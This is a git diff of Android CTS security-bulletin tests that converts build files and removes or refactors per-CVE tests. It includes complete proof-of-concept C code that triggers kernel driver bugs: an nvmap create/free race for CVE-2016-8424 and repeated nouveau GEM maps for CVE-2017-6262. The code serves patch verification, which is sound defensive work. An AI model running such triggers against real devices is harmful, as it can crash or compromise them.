+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsSeccompDeviceApp",
+    compile_multilib: "both",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    jni_libs: [
+        "libctsseccomp_jni",
+        "libcts_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
deleted file mode 100644
index 36dd417..0000000
--- a/hostsidetests/seccomp/app/Android.mk
+++ /dev/null
@@ -1,54 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-          androidx.test.rules \
-          compatibility-device-util-axt \
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-          libctsseccomp_jni \
-          libcts_jni \
-          libnativehelper_compat_libc++ \
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsSeccompDeviceApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/seccomp/app/jni/Android.bp b/hostsidetests/seccomp/app/jni/Android.bp
new file mode 100644
index 0000000..3dc4f1c
--- /dev/null
+++ b/hostsidetests/seccomp/app/jni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsseccomp_jni",
+    gtest: false,
+    srcs: [
+        "CtsSeccompJniOnLoad.cpp",
+        "android_seccomp_cts_app_SeccompDeviceTest.cpp",
+    ],
+    sdk_version: "current",
+    static_libs: ["cpufeatures"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "liblog",
+    ],
+    stl: "c++_static",
+}
diff --git a/hostsidetests/seccomp/app/jni/Android.mk b/hostsidetests/seccomp/app/jni/Android.mk
deleted file mode 100644
index 45fb135..0000000
--- a/hostsidetests/seccomp/app/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libctsseccomp_jni
-
-# Don't include this package in any configuration by default.
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-		CtsSeccompJniOnLoad.cpp \
-		android_seccomp_cts_app_SeccompDeviceTest.cpp \
-
-LOCAL_SDK_VERSION := current
-LOCAL_LDLIBS := -llog
-LOCAL_C_INCLUDES += ndk/sources/cpufeatures
-LOCAL_STATIC_LIBRARIES := cpufeatures
-
-LOCAL_CFLAGS := -Wall -Werror
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index cbb94ca..090f4c1 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,7 +27,6 @@
         <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
         <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
         <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
-        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
         <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
         <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
         <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
@@ -55,18 +54,12 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
 
         <!--__________________-->
-        <!-- Bulletin 2016-06 -->
-        <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-2062->/data/local/tmp/CVE-2016-2062" />
-
-        <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
         <option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
 
         <!--__________________-->
@@ -193,6 +186,6 @@
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSecurityBulletinHostTestCases.jar" />
-        <option name="runtime-hint" value="8m40s" />
+        <option name="runtime-hint" value="18m26s" />
     </test>
 </configuration>
diff --git a/hostsidetests/securitybulletin/res/cve_2016_3916.apk b/hostsidetests/securitybulletin/res/cve_2016_3916.apk
deleted file mode 100644
index 96c6128..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_3916.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
deleted file mode 100755
index 65fe025..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2015-8839
-LOCAL_SRC_FILES := poc.c
-
-LOCAL_SHARED_LIBRARIES := libcutils \
-                          liblog
-
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
deleted file mode 100755
index c6a330f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2015-8839/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <cutils/log.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <linux/falloc.h>
-#include <linux/magic.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/utsname.h>
-#include <sys/vfs.h>
-#include <unistd.h>
-
-int main(void) {
-  int fd = -1, result = -1;
-  char tmpFile[32];
-  struct statfs sfs;
-
-  memset(tmpFile, 0, sizeof(tmpFile));
-  strncpy(tmpFile, "/data/local/tmp/tmpFile", 24);
-
-  fd = open(tmpFile, O_WRONLY | O_APPEND | O_CREAT, 0644);
-  if (fd < 0) {
-    ALOGE("Creation of tmp file is failed [%s]", strerror(errno));
-    return -1;
-  }
-
-  fstatfs(fd, &sfs);
-  if (sfs.f_type == EXT4_SUPER_MAGIC) {
-    result = fallocate(fd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, 1);
-    if (result < 0 && errno == EOPNOTSUPP) {
-      ALOGD("fallocate result [%s] errno [%d]", strerror(errno), errno);
-      ALOGE("fallocate result EOPNOTSUPP");
-    }
-  }
-
-  if (fd) {
-    close(fd);
-  }
-
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
deleted file mode 100644
index 204ace1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8424
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
deleted file mode 100644
index 4460b88..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <stdio.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-
-
-struct nvmap_handle_param {
-	__u32 handle;		/* nvmap handle */
-	__u32 param;		/* size/align/base/heap etc. */
-	unsigned long result;	/* returns requested info*/
-};
-
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-
-#define NVMAP_IOC_MAGIC 'N'
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
-#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
-#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
-#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
-
-int g_fd = -1;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-struct nvmap_create_handle* g_allocation = NULL;
-
-int open_driver() {
-    char* dev_path = "/dev/nvmap";
-    g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void trigger_nvmap_create() {
-    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
-    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
-}
-
-void trigger_nvmap_free() {
-    static int data = 1024;
-    ioctl(g_fd, NVMAP_IOC_FREE, data);
-    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
-    }
-}
-
-void prepare_data() {
-    void* data = calloc(1, 0x1000);
-
-    g_allocation = (struct nvmap_create_handle*)data;
-    g_allocation->size = 1024;
-
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-}
-static int init = 0;
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(0, 2);
-
-    int i;
-    while (1) {
-        if (init == 0) {
-            pthread_mutex_lock(&mutex);
-            pthread_cond_wait(&cond, &mutex);
-            pthread_mutex_unlock(&mutex);
-            init = 1;
-        }
-        trigger_nvmap_free();
-    }
-}
-
-int main(int argc, char**argv) {
-    setup_privi_and_affinity(0, 1);
-    if (open_driver() < 0) {
-        return -1;
-    }
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        if (init == 0)
-            pthread_cond_signal(&cond);
-        trigger_nvmap_create();
-    }
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
index 5561115..498e85f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
index b4697d5..64ecb5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
@@ -10,7 +10,7 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
 
 LOCAL_PATH := $(call my-dir)
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
index 1637bd6..5bdd33d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
@@ -10,26 +10,25 @@
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions vand
+ * See the License for the specific language governing permissions and
  * limitations under the License.
  */
 #define _GNU_SOURCE
-#include "local_poc.h"
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/ioctl.h>
 #include <sys/prctl.h>
-#include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
+#include "local_poc.h"
+#include "../includes/common.h"
 #define DRMDEV_NAME "/dev/dri/renderD128"
+#define MAX_MAPS 10
 
-static int drm_version(int fd)
-{
-  int ret;
+static int drm_version(int fd) {
   struct drm_version ver;
   ver.name_len = 100;
   ver.date_len = 100;
@@ -39,17 +38,14 @@
   ver.date = (char*)malloc(ver.date_len);
   ver.desc = (char*)malloc(ver.desc_len);
 
-  ret = ioctl(fd, DRM_IOCTL_VERSION, &ver);
-
-  if (ret == -1) {
-    return -1;
+  if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
   return 0;
 }
 
-static int nouveau_gem_ioctl_new(int fd)
-{
-  int ret;
+static uint32_t nouveau_gem_ioctl_new(int fd) {
   struct drm_nouveau_gem_new new_arg;
 
   memset(&new_arg, 0, sizeof(new_arg));
@@ -57,66 +53,43 @@
   new_arg.info.size = 0x1000;
   new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
 
-  ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg);
-  if (ret == -1) {
-    return -1;
+  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
-
   return new_arg.info.handle;
 }
 
-static uint32_t get_gem_map_handle(int fd)
-{
-  uint32_t handle;
-
-  handle = nouveau_gem_ioctl_new(fd);
-
-  return handle;
-}
-
-static void nouveau_gem_ioctl_map(int fd, uint32_t handle)
-{
-  int ret;
+static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
   struct drm_nouveau_gem_map map_arg;
   memset(&map_arg, 0, sizeof(map_arg));
   map_arg.handle = handle;
   map_arg.length = 0x1000;
 
-  ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg);
-  if (ret == -1) {
-    return;
+  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
 }
 
-void poc()
-{
+int main() {
   int fd;
-  const int MAX_MAPS = 10;
+  time_t test_started = start_timer();
 
-  fd = open(DRMDEV_NAME, O_RDWR);
-  if (fd == -1) {
-    return;
+  while (timer_active(test_started)) {
+    fd = open(DRMDEV_NAME, O_RDWR);
+    if (fd < 0) {
+      return -1;
+    }
+
+    drm_version(fd);
+
+    uint32_t handle = nouveau_gem_ioctl_new(fd);
+
+    for (int i = 0; i < MAX_MAPS; i++) {
+      nouveau_gem_ioctl_map(fd, handle);
+    }
+    close(fd);
   }
-
-  if (drm_version(fd) == -1){
-    return;
-  }
-
-  uint32_t handle = get_gem_map_handle(fd);
-
-  for(int i = 0; i < MAX_MAPS; i++){
-    nouveau_gem_ioctl_map(fd, handle);
-  }
-  close(fd);
-
-  return;
-}
-
-int main()
-{
-  const int MAX_RUNS = 30000;
-
-  for(int i = 0; i < MAX_RUNS; i++) {
-    poc();
-  }
+  return 0;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
index 4a4301f..a6a520f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
@@ -25,7 +25,7 @@
         libpac \
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c1f998d..b9f3b2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -32,8 +32,6 @@
 
 import static org.junit.Assert.*;
 
-import static org.junit.Assert.*;
-
 public class AdbUtils {
 
     /** Runs a commandline on the specified device
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 4527c0c..9a7e62a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -28,7 +28,7 @@
         AdbUtils.runCommandLine("logcat -c" , getDevice());
         AdbUtils.runPoc("CVE-2016-2419", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*IOMX_InfoLeak b26323455[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("IOMX_InfoLeak b26323455", logcat);
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index 886ebaf..d866a5a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -29,7 +29,7 @@
         AdbUtils.runPoc("CVE-2016-2460", getDevice(), 60);
 
         String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*IGraphicBufferProducer_Info is Leaked[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("IGraphicBufferProducer_Info is Leaked", logcat);
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index e11c523..1e33083 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -28,13 +28,14 @@
     }
 
     /**
-     *  b/27532522
+     *  b/27890802
      */
     @SecurityTest(minPatchLevel = "2016-07")
-    public void testPocCVE_2016_3809() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2016-3809", getDevice(), 60);
+    public void testPocCVE_2016_3746() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
         String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatches("[\\s\\n\\S]*CVE-2016-3809 test case failed[\\s\\n\\S]*", logcat);
+        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
+                logcat);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
index 9ae9d99..3280a68 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java
@@ -26,15 +26,4 @@
     public void testPocCVE_2016_2471() throws Exception {
         AdbUtils.runPoc("CVE-2016-2471", getDevice(), 60);
     }
-
-    /**
-     *  b/28760453
-     */
-    @SecurityTest(minPatchLevel = "2016-09")
-    public void testPocCVE_2015_8839() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2015-8839", getDevice(), 60);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertMatches("[\\s\\n\\S]*fallocate result EOPNOTSUPP[\\s\\n\\S]*", logcat);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
deleted file mode 100644
index 4999e55..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/**
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_10 extends SecurityTestCase {
-
-    /**
-     *  b/30904789
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6730() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906023
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6731() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906599
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6732() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30906694
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6733() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30907120
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6734() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30907701
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6735() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30953284
-     */
-    @SecurityTest
-    public void testPocCVE_2016_6736() throws Exception {
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/30741779
-     */
-    @SecurityTest(minPatchLevel = "2016-10")
-    public void testPocCVE_2016_3916() throws Exception {
